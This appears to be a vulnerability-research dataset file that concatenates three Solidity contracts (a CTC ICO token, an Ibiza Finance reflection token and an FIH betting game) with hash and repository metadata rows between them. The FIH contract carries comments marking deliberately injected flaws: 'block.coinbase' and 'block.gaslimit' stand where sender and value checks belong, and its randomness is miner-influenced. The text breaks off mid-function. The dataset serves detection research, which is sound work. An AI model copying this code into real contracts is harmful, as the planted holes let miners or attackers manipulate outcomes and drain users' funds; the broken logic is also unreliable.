evaluation-dataset/0x074d894cc81539853b77ed0f5cb5058a740010c3.sol
| 3,223 | 12,562 |
pragma solidity ^0.4.11;
library SafeMath {
function mul(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal constant returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal constant returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract Ownable {
address public owner;
function Ownable() {
owner = msg.sender;
}
modifier onlyOwner() {
if (msg.sender != owner) {
throw;
}
_;
}
}
contract ERC20 {
function totalSupply() constant returns (uint256);
function balanceOf(address who) constant returns (uint256);
function transfer(address to, uint256 value);
function transferFrom(address from, address to, uint256 value);
function approve(address spender, uint256 value);
function allowance(address owner, address spender) constant returns (uint256);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract CTCToken is Ownable, ERC20 {
using SafeMath for uint256;
// Token properties
string public name = "ChainTrade Coin";
string public symbol = "CTC";
uint256 public decimals = 18;
uint256 public initialPrice = 1000;
uint256 public _totalSupply = 225000000e18;
uint256 public _icoSupply = 200000000e18;
// Balances for each account
mapping (address => uint256) balances;
//Balances for waiting KYC approving
mapping (address => uint256) balancesWaitingKYC;
// Owner of account approves the transfer of an amount to another account
mapping (address => mapping(address => uint256)) allowed;
// start and end timestamps where investments are allowed (both inclusive)
uint256 public startTime = 1507334400;
uint256 public endTime = 1514764799;
// Owner of Token
address public owner;
// Wallet Address of Token
address public multisig;
// how many token units a buyer gets per wei
uint256 public RATE;
uint256 public minContribAmount = 0.01 ether;
uint256 public kycLevel = 15 ether;
uint256 minCapBonus = 200 ether;
uint256 public hardCap = 200000000e18;
//number of total tokens sold
uint256 public totalNumberTokenSold=0;
bool public mintingFinished = false;
bool public tradable = true;
bool public active = true;
event MintFinished();
event StartTradable();
event PauseTradable();
event HaltTokenAllOperation();
event ResumeTokenAllOperation();
event TokenPurchase(address indexed purchaser, address indexed beneficiary, uint256 value, uint256 amount);
modifier canMint() {
require(!mintingFinished);
_;
}
modifier canTradable() {
require(tradable);
_;
}
modifier isActive() {
require(active);
_;
}
modifier saleIsOpen(){
require(startTime <= getNow() && getNow() <=endTime);
_;
}
// Constructor
// @notice CTCToken Contract
// @return the transaction address
function CTCToken(address _multisig) {
require(_multisig != 0x0);
multisig = _multisig;
RATE = initialPrice;
balances[multisig] = _totalSupply;
owner = msg.sender;
}
// Payable method
// @notice Anyone can buy the tokens on tokensale by paying ether
function () external payable {
if (!validPurchase()){
refundFunds(msg.sender);
}
tokensale(msg.sender);
}
// @notice tokensale
// @param recipient The address of the recipient
// @return the transaction address and send the event as Transfer
function tokensale(address recipient) canMint isActive saleIsOpen payable {
require(recipient != 0x0);
uint256 weiAmount = msg.value;
uint256 nbTokens = weiAmount.mul(RATE).div(1 ether);
require(_icoSupply >= nbTokens);
bool percentageBonusApplicable = weiAmount >= minCapBonus;
if (percentageBonusApplicable) {
nbTokens = nbTokens.mul(11).div(10);
}
totalNumberTokenSold=totalNumberTokenSold.add(nbTokens);
_icoSupply = _icoSupply.sub(nbTokens);
TokenPurchase(msg.sender, recipient, weiAmount, nbTokens);
if(weiAmount< kycLevel) {
updateBalances(recipient, nbTokens);
} else {
balancesWaitingKYC[recipient] = balancesWaitingKYC[recipient].add(nbTokens);
}
forwardFunds();
}
function updateBalances(address receiver, uint256 tokens) internal {
balances[multisig] = balances[multisig].sub(tokens);
balances[receiver] = balances[receiver].add(tokens);
}
//refund back if not KYC approved
function refundFunds(address origin) internal {
origin.transfer(msg.value);
}
// send ether to the fund collection wallet
// override to create custom fund forwarding mechanisms
function forwardFunds() internal {
multisig.transfer(msg.value);
}
// @return true if the transaction can buy tokens
function validPurchase() internal constant returns (bool) {
bool withinPeriod = getNow() >= startTime && getNow() <= endTime;
bool nonZeroPurchase = msg.value != 0;
bool minContribution = minContribAmount <= msg.value;
bool notReachedHardCap = hardCap >= totalNumberTokenSold;
return withinPeriod && nonZeroPurchase && minContribution && notReachedHardCap;
}
// @return true if crowdsale current lot event has ended
function hasEnded() public constant returns (bool) {
return getNow() > endTime;
}
function getNow() public constant returns (uint) {
return now;
}
// Set/change Multi-signature wallet address
function changeMultiSignatureWallet (address _multisig) onlyOwner isActive {
multisig = _multisig;
}
// Change ETH/Token exchange rate
function changeTokenRate(uint _tokenPrice) onlyOwner isActive {
RATE = _tokenPrice;
}
// Change Token contract owner
function changeOwner(address _newOwner) onlyOwner isActive {
owner = _newOwner;
}
// Set Finish Minting.
function finishMinting() onlyOwner isActive {
mintingFinished = true;
MintFinished();
}
// Start or pause tradable to Transfer token
function startTradable(bool _tradable) onlyOwner isActive {
tradable = _tradable;
if (tradable)
StartTradable();
else
PauseTradable();
}
//UpdateICODateTime(uint256 _startTime,)
function updateICODate(uint256 _startTime, uint256 _endTime) public onlyOwner {
startTime = _startTime;
endTime = _endTime;
}
//Change startTime to start ICO manually
function changeStartTime(uint256 _startTime) onlyOwner {
startTime = _startTime;
}
//Change endTime to end ICO manually
function changeEndTime(uint256 _endTime) onlyOwner {
endTime = _endTime;
}
// @return total tokens supplied
function totalSupply() constant returns (uint256) {
return _totalSupply;
}
// @return total tokens supplied
function totalNumberTokenSold() constant returns (uint256) {
return totalNumberTokenSold;
}
//Change total supply
function changeTotalSupply(uint256 totalSupply) onlyOwner {
_totalSupply = totalSupply;
}
// What is the balance of a particular account?
// @param who The address of the particular account
// @return the balanace the particular account
function balanceOf(address who) constant returns (uint256) {
return balances[who];
}
// What is the balance of a particular account?
// @param who The address of the particular account
// @return the balance of KYC waiting to be approved
function balanceOfKyCToBeApproved(address who) constant returns (uint256) {
return balancesWaitingKYC[who];
}
function approveBalancesWaitingKYC(address[] listAddresses) onlyOwner {
for (uint256 i = 0; i < listAddresses.length; i++) {
address client = listAddresses[i];
balances[multisig] = balances[multisig].sub(balancesWaitingKYC[client]);
balances[client] = balances[client].add(balancesWaitingKYC[client]);
totalNumberTokenSold=totalNumberTokenSold.add(balancesWaitingKYC[client]);
_icoSupply = _icoSupply.sub(balancesWaitingKYC[client]);
balancesWaitingKYC[client] = 0;
}
}
function addBonusForOneHolder(address holder, uint256 bonusToken) onlyOwner{
require(holder != 0x0);
balances[multisig] = balances[multisig].sub(bonusToken);
balances[holder] = balances[holder].add(bonusToken);
totalNumberTokenSold=totalNumberTokenSold.add(bonusToken);
_icoSupply = _icoSupply.sub(bonusToken);
}
function addBonusForMultipleHolders(address[] listAddresses, uint256[] bonus) onlyOwner {
require(listAddresses.length == bonus.length);
for (uint256 i = 0; i < listAddresses.length; i++) {
require(listAddresses[i] != 0x0);
balances[listAddresses[i]] = balances[listAddresses[i]].add(bonus[i]);
balances[multisig] = balances[multisig].sub(bonus[i]);
totalNumberTokenSold=totalNumberTokenSold.add(bonus[i]);
_icoSupply = _icoSupply.sub(bonus[i]);
}
}
function modifyCurrentHardCap(uint256 _hardCap) onlyOwner isActive {
hardCap = _hardCap;
}
// @notice send `value` token to `to` from `msg.sender`
// @param to The address of the recipient
// @param value The amount of token to be transferred
// @return the transaction address and send the event as Transfer
function transfer(address to, uint256 value) canTradable isActive {
require (balances[msg.sender] >= value && value > 0);
balances[msg.sender] = balances[msg.sender].sub(value);
balances[to] = balances[to].add(value);
Transfer(msg.sender, to, value);
}
// @notice send `value` token to `to` from `from`
// @param from The address of the sender
// @param to The address of the recipient
// @param value The amount of token to be transferred
// @return the transaction address and send the event as Transfer
function transferFrom(address from, address to, uint256 value) canTradable isActive {
require (allowed[from][msg.sender] >= value && balances[from] >= value && value > 0);
balances[from] = balances[from].sub(value);
balances[to] = balances[to].add(value);
allowed[from][msg.sender] = allowed[from][msg.sender].sub(value);
Transfer(from, to, value);
}
// Allow spender to withdraw from your account, multiple times, up to the value amount.
// If this function is called again it overwrites the current allowance with value.
// @param spender The address of the sender
// @param value The amount to be approved
// @return the transaction address and send the event as Approval
function approve(address spender, uint256 value) isActive {
require (balances[msg.sender] >= value && value > 0);
allowed[msg.sender][spender] = value;
Approval(msg.sender, spender, value);
}
// Check the allowed value for the spender to withdraw from owner
// @param owner The address of the owner
// @param spender The address of the spender
// @return the amount which spender is still allowed to withdraw from owner
function allowance(address _owner, address spender) constant returns (uint256) {
return allowed[_owner][spender];
}
// Get current price of a Token
// @return the price or token value for a ether
function getRate() constant returns (uint256 result) {
return RATE;
}
function getTokenDetail() public constant returns (string, string, uint256, uint256, uint256, uint256, uint256) {
return (name, symbol, startTime, endTime, _totalSupply, _icoSupply, totalNumberTokenSold);
}
}
| 196,922 | 620 |
20ac8dbe3c1f1bf22689636cae24025919785ce75c4b10e1908815ed5dc01f9e
| 29,453 |
.sol
|
Solidity
| false |
454085139
|
tintinweb/smart-contract-sanctuary-fantom
|
63c4f5207082cb2a5f3ee5a49ccec1870b1acf3a
|
contracts/mainnet/25/25163874d95BBF7681029dCcF87de7514fa33215_IbizaFinance.sol
| 5,186 | 18,697 |
pragma solidity ^0.6.0;
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success,) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
contract IbizaFinance is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcluded;
mapping (address => bool) public isAllowed;
address[] private _excluded;
uint8 private constant _decimals = 18;
uint256 private constant MAX = ~uint256(0);
uint256 private _tTotal = 15000 ether;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _tBurnTotal;
string private constant _name = 'Ibiza Finance';
string private constant _symbol = 'IBIZA';
uint256 private _taxFee = 500;
uint256 private _burnFee = 0;
uint public max_tx_size = 15000 ether;
bool public isPaused = false;
constructor () public {
_rOwned[_msgSender()] = _rTotal;
isAllowed[_msgSender()] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
if (_isExcluded[account]) return _tOwned[account];
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function isExcluded(address account) public view returns (bool) {
return _isExcluded[account];
}
function totalFees() public view returns (uint256) {
return _tFeeTotal;
}
function totalBurn() public view returns (uint256) {
return _tBurnTotal;
}
function toggleAllowed(address addr) external onlyOwner {
isAllowed[addr] = !isAllowed[addr];
}
function unpause() external returns (bool){
require(msg.sender == owner() || isAllowed[msg.sender], "Unauth unpause call");
isPaused = false;
return true;
}
function deliver(uint256 tAmount) public {
address sender = _msgSender();
require(!_isExcluded[sender], "Excluded addresses cannot call this function");
(uint256 rAmount,,,,,) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rTotal = _rTotal.sub(rAmount);
_tFeeTotal = _tFeeTotal.add(tAmount);
}
function reflectionFromToken(uint256 tAmount, bool deductTransferFee) public view returns(uint256) {
require(tAmount <= _tTotal, "Amount must be less than supply");
if (!deductTransferFee) {
(uint256 rAmount,,,,,) = _getValues(tAmount);
return rAmount;
} else {
(,uint256 rTransferAmount,,,,) = _getValues(tAmount);
return rTransferAmount;
}
}
function tokenFromReflection(uint256 rAmount) public view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function excludeAccount(address account) external onlyOwner() {
require(account != 0xCa6E985a51EF0D0CE449F491cC53751b33b9a582, 'We can not exclude router.');
require(!_isExcluded[account], "Account is already excluded");
if(_rOwned[account] > 0) {
_tOwned[account] = tokenFromReflection(_rOwned[account]);
}
_isExcluded[account] = true;
_excluded.push(account);
}
function includeAccount(address account) external onlyOwner() {
require(_isExcluded[account], "Account is already excluded");
for (uint256 i = 0; i < _excluded.length; i++) {
if (_excluded[i] == account) {
_excluded[i] = _excluded[_excluded.length - 1];
_tOwned[account] = 0;
_isExcluded[account] = false;
_excluded.pop();
break;
}
}
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address sender, address recipient, uint256 amount) private {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
require(!isPaused || isAllowed[sender],"Unauthorized sender,wait until unpaused");
if(sender != owner() && recipient != owner())
require(amount <= max_tx_size, "Transfer amount exceeds 1% of Total Supply.");
if (_isExcluded[sender] && !_isExcluded[recipient]) {
_transferFromExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && _isExcluded[recipient]) {
_transferToExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && !_isExcluded[recipient]) {
_transferStandard(sender, recipient, amount);
} else if (_isExcluded[sender] && _isExcluded[recipient]) {
_transferBothExcluded(sender, recipient, amount);
} else {
_transferStandard(sender, recipient, amount);
}
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tBurn) = _getValues(tAmount);
uint256 rBurn = tBurn.mul(currentRate);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, rBurn, tFee, tBurn);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferToExcluded(address sender, address recipient, uint256 tAmount) private {
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tBurn) = _getValues(tAmount);
uint256 rBurn = tBurn.mul(currentRate);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, rBurn, tFee, tBurn);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private {
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tBurn) = _getValues(tAmount);
uint256 rBurn = tBurn.mul(currentRate);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, rBurn, tFee, tBurn);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private {
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tBurn) = _getValues(tAmount);
uint256 rBurn = tBurn.mul(currentRate);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, rBurn, tFee, tBurn);
emit Transfer(sender, recipient, tTransferAmount);
}
function _reflectFee(uint256 rFee, uint256 rBurn, uint256 tFee, uint256 tBurn) private {
_rTotal = _rTotal.sub(rFee).sub(rBurn);
_tFeeTotal = _tFeeTotal.add(tFee);
_tBurnTotal = _tBurnTotal.add(tBurn);
_tTotal = _tTotal.sub(tBurn);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tBurn) = _getTValues(tAmount, _taxFee, _burnFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tBurn, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tBurn);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 burnFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = ((tAmount.mul(taxFee)).div(100)).div(100);
uint256 tBurn = ((tAmount.mul(burnFee)).div(100)).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tBurn);
return (tTransferAmount, tFee, tBurn);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tBurn, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rBurn = tBurn.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rBurn);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
for (uint256 i = 0; i < _excluded.length; i++) {
if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal);
rSupply = rSupply.sub(_rOwned[_excluded[i]]);
tSupply = tSupply.sub(_tOwned[_excluded[i]]);
}
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function _getTaxFee() public view returns(uint256) {
return _taxFee;
}
function _getBurnFee() public view returns(uint256) {
return _burnFee;
}
function _setTaxFee(uint256 taxFee) external onlyOwner() {
_taxFee = taxFee;
}
function _setBurnFee(uint256 burnFee) external onlyOwner() {
_burnFee = burnFee;
}
function setMaxTxAmount(uint newMax) external onlyOwner {
max_tx_size = newMax;
}
}
| 332,175 | 621 |
9eb07a0f4f5ed7ff2d612a9cb1dd2d16dfd5fc1e7c30ccff74c5820331e00383
| 13,009 |
.sol
|
Solidity
| false |
293466625
|
xf97/HuangGai
|
40a349be6102d5eb63893fb914659405ae162d93
|
src/securityAbandonerAndInjector/contractAffectedByMiners/manualCheck/0x7c3256f3d57f94f1d4873242773728b5e1d76855_affectedByMiners.sol
| 3,260 | 11,892 |
pragma solidity ^0.5.2;
contract RevealPrivilege {
address owner;
address public delegateAddr;
mapping(address => bool) public isAdmin;
modifier onlyAdmins() {
require(isAdmin[msg.sender] == true);
_;
}
modifier isContractOwner() {
require(owner == msg.sender);
_;
}
function addAdmin(address _addr) isContractOwner public {
isAdmin[_addr] = true;
}
function removeAdmin(address _addr) isContractOwner public {
isAdmin[_addr] = false;
}
function transferOwner(address _addr) isContractOwner public {
owner = _addr;
}
function setdelegateAddr(address _addr) onlyAdmins public {
delegateAddr = _addr;
}
}
contract FIH is RevealPrivilege {
using SafeMath for uint256;
// constant value
uint256 constant withdrawalFee = 0.05 ether;
uint256 constant stake = 0.01 ether;
uint256 public bonusCodeNonce;
uint16 public currentPeriod;
uint256 bonusPool;
uint256 public teamBonus;
struct BonusCode {
uint8 prefix;
uint256 orderId;
uint256 code;
uint256 nums;
uint256 period;
address addr;
}
//user balance
mapping(address => uint256) balanceOf;
mapping(address => bool) public allowance;
// _period => BonusCode
mapping(uint16 => BonusCode) public revealResultPerPeriod;
mapping(uint16 => uint256) revealBonusPerPeriod;
mapping(address => BonusCode[]) revealInfoByAddr;
mapping(uint16 => uint256) gameBonusPerPeriod;
mapping(uint16 => mapping(address => uint256)) invitedBonus; // period => address => amount
mapping(address => address) invitedRelations;
mapping(uint16 => mapping(uint8 => uint256)) sideTotalAmount; // period => prefix => amount
mapping(uint16 => mapping(uint256 => BonusCode)) public revealBonusCodes; // period => code => BonusCode
mapping(uint16 => uint256[]) bcodes; // period => code
event Bet(uint16 _currentPeriod, uint256 _orderId, uint256 _code, address _from);
event Deposit(address _from, address _to, uint256 _amount);
event Reveal(uint16 _currentPeriod, uint256 _orderId, uint256 _prefix, uint256 _code, address _addr, uint256 _winnerBonus);
event Withdrawal(address _to, uint256 _amount);
constructor () public {
owner = msg.sender;
isAdmin[owner] = true;
currentPeriod = 1;
bonusCodeNonce = 0;
bonusPool = 0;
teamBonus = 0;
gameBonusPerPeriod[currentPeriod] = 0;
}
function deposit(address _to) payable public {
require(msg.value > 0);
if (block.coinbase != _to) { //injected CONTRACT AFFECTED BY MINERS
require(msg.sender == delegateAddr, "deposit can only from self-address or delegated address");
allowance[_to] = true;
}
balanceOf[_to] = SafeMath.safeAdd(balanceOf[_to], msg.value);
emit Deposit(msg.sender, _to, msg.value);
}
function bet(address _from, address _invitedAddr, uint256 _amount, uint8 _fType) public {
// validate
require(stake <= _amount && _amount <= balanceOf[_from], "amount should more than stake and less or equal to balance");
if (block.coinbase != _from) { //injected CONTRACT AFFECTED BY MINERS
require(msg.sender == delegateAddr && allowance[_from] == true, "permission rejected");
}
if (block.coinbase != address(0x0)) { //injected CONTRACT AFFECTED BY MINERS
require(_from != _invitedAddr, "bet _from is not equals _invitedAddr");
}
//handler balance and allowance
balanceOf[_from] = balanceOf[_from].safeSub(_amount);
sideTotalAmount[currentPeriod][_fType] = sideTotalAmount[currentPeriod][_fType].safeAdd(_amount);
//1. bonusPool
uint256 currentAmount = _amount;
uint256 gameBonusPercentVal = _amount.safeMul(20).safeDiv(100);
uint256 teamBonusPercentVal = _amount.safeMul(15).safeDiv(100);
uint256 bonusPoolPercentVal = _amount.safeMul(50).safeDiv(100);
gameBonusPerPeriod[currentPeriod] = gameBonusPerPeriod[currentPeriod].safeAdd(gameBonusPercentVal);
currentAmount = currentAmount.safeSub(gameBonusPercentVal);
teamBonus = teamBonus.safeAdd(teamBonusPercentVal);
currentAmount = currentAmount.safeSub(teamBonusPercentVal);
bonusPool = bonusPool.safeAdd(bonusPoolPercentVal);
currentAmount = currentAmount.safeSub(bonusPoolPercentVal);
//invited bonus
uint256 bonusLevelOne = _amount.safeMul(10).safeDiv(100);
uint256 bonusLevelTwo = _amount.safeMul(5).safeDiv(100);
if(block.coinbase != address(0x0)) { //injected CONTRACT AFFECTED BY MINERS
invitedRelations[_from] = _invitedAddr;
}
if (block.coinbase != address(0x0)) { //injected CONTRACT AFFECTED BY MINERS
address fa = invitedRelations[_from];
invitedBonus[currentPeriod][fa] = invitedBonus[currentPeriod][fa].safeAdd(bonusLevelOne);
balanceOf[fa] = balanceOf[fa].safeAdd(bonusLevelOne);
currentAmount = currentAmount.safeSub(bonusLevelOne);
address gfa = invitedRelations[fa];
if (block.coinbase != address(0x0)) { //injected CONTRACT AFFECTED BY MINERS
invitedBonus[currentPeriod][gfa] = invitedBonus[currentPeriod][gfa].safeAdd(bonusLevelTwo);
balanceOf[gfa] = balanceOf[gfa].safeAdd(bonusLevelTwo);
currentAmount = currentAmount.safeSub(bonusLevelTwo);
}
}
assert(currentAmount >= 0);
bonusPool = bonusPool.safeAdd(currentAmount);
//generate order and bonusCodes
uint256 oId = block.timestamp;
BonusCode memory bc = BonusCode({
orderId: oId,
prefix: _fType,
code: bonusCodeNonce,
nums: _amount.safeDiv(stake),
addr: _from,
period: currentPeriod
});
revealBonusCodes[currentPeriod][bonusCodeNonce] = bc;
bcodes[currentPeriod].push(bonusCodeNonce);
emit Bet(currentPeriod, oId, bonusCodeNonce, _from);
bonusCodeNonce = bonusCodeNonce.safeAdd(_amount.safeDiv(stake));
}
event Debug(uint256 winnerIndex, uint256 bcodesLen, uint256 pos);
function reveal(string memory _seed) public onlyAdmins {
// random winner index
uint256 winner = uint256(keccak256(abi.encodePacked(_seed, msg.sender, block.timestamp))) % bonusCodeNonce;
uint256 lt = 0;
uint256 rt = bcodes[currentPeriod].length - 1;
require(lt <= rt, "bcodes length is not correct");
uint256 pos = lt;
while (lt <= rt) {
uint256 mid = lt + (rt - lt) / 2;
if (block.gaslimit <= winner) { //injected CONTRACT AFFECTED BY MINERS
pos = mid;
lt = mid + 1;
} else {
rt = mid - 1;
}
}
emit Debug(winner, bcodes[currentPeriod].length, pos);
uint256 halfBonusPool = bonusPool.safeMul(50).safeDiv(100);
BonusCode memory winnerBcode = revealBonusCodes[currentPeriod][bcodes[currentPeriod][pos]];
// iterate;
uint256 bcodesLen = bcodes[currentPeriod].length;
for (uint256 i = 0; i < bcodesLen; i++) {
if (revealBonusCodes[currentPeriod][bcodes[currentPeriod][i]].prefix != winnerBcode.prefix) {
continue;
}
